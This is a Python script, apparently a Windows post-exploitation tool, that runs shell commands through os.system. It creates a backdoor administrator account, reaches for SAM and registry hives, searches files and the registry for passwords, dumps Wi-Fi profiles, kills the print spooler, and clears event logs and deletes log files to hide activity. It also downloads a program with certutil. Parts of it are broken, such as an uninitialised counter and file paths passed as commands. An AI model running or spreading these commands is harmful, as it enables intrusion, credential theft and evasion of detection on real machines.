WPExploitation.py

import os


def user():
    
    CmdList=(
        'echo %username%', 'whoami /all', 'net user', 'net user netconn /add',
        'net localgroup administrators netconn /add',
        'net user netconn /del')
    for UserCmd in CmdList:
       
        try:
            print('[+] User Commands')
            os.system (UserCmd)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass


def file_pull():
    
    CmdList={
        '%SYSTEMDRIVE%\\pagefile.sys', 'type %WINDIR%\\debug\\NetSetup.log', '%WINDIR%\\Repair\\sam', '%WINDIR%\\Repair\\system',
        '%WINDIR%\\Repair\\software, %WINDIR%\\Repair\\security',
        '%WINDIR%\\iis6.log', 'type %WINDIR%\\system32\\config\\AppEvent.Evt', '%WINDIR%\\system32\\config\\SecEvent.Evt',
        '%WINDIR%\\system32\\config\\default.sav',
        '%WINDIR%\\system32\\config\\security.sav', '%WINDIR%\\system32\\config\\software.sav',
         '%WINDIR%\\system32\\CCM\\logs\\*.log',
        '%USERPROFILE%\\Ntuser.dat', '%USERPROFILE%\\LocalS~1\\Tempor~1\\Content.IE5\\index.dat',
        'type %WINDIR%\\System32\\drivers\\etc\\hosts'}

    for FileCmd in CmdList:
        
        try:
            print('[+] File Commands')
            os.system (FileCmd)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass


def host_info():
    
    CmdList={'systeminfo', 'driverquery','tasklist','fsutil fsinfo drives','set','qwinsta','net time','net file','net session','net use'}

    for FileHost in CmdList:
        
        try:
            print('[+] Host Commands')
            os.system(FileHost)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass

def services():
    
    CmdList={'sc queryex type= service state= all','netstat -ano', 'netstat -ano','sc query Spooler','sc start Spooler','sc stop Spooler'}

    for serviceList in CmdList:
        
        try:
            print('[+] Services Commands')
            os.system(serviceList)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass
def syslog():
    
    CmdList = {'wevtutil el','taskkill /F /IM spoolsv.exe'}

    for sysLog in CmdList:
       
        try:
            print('[+] SysLogs Commands')
            os.system(sysLog)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass

def deletlog ():
    try:
        print('[+] Delete Commands')
        os.system('del \*.log /a /s /q /f')
        os.system('wevtutil cl System')
        print("--------------------------------------------------------------------------------------------")
    except:
        pass




def searchkeywords():
    
    CmdList = {'findstr /si pass *.xml *.ini *.txt','reg query HKLM /f pass /t REG_SZ /s','reg query HKCU /f pass /t REG_SZ /s'}

    for SerchKey in CmdList:
        
        try:
            print('[+] Keywords Commands')
            os.system(SerchKey)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass

def wifi():
    try:
        print('[+] Wifi Commands')
        os.system('netsh wlan show profile > tmp/wireless.txt')
        print("--------------------------------------------------------------------------------------------")
    except:
        pass

def installSof():
    
    CmdList={'certutil.exe -urlcache -split -f "https://site.com/PROGAMA" SAIDA.EXE','wmic product get PRGRAMA /value','start SAIDA.TXT','wmic product where name="<NAME>" call uninstall /INTERACTIVE:OFF'}

    for serviceList in CmdList:
        i=i + 1
        try:
            print('[+] Software Commands')
            os.system (serviceList)
            print("--------------------------------------------------------------------------------------------")
        except:
            pass


def main():
    user()
    file_pull()
    host_info()
    services()
    syslog()
    searchkeywords()
    wifi()


main()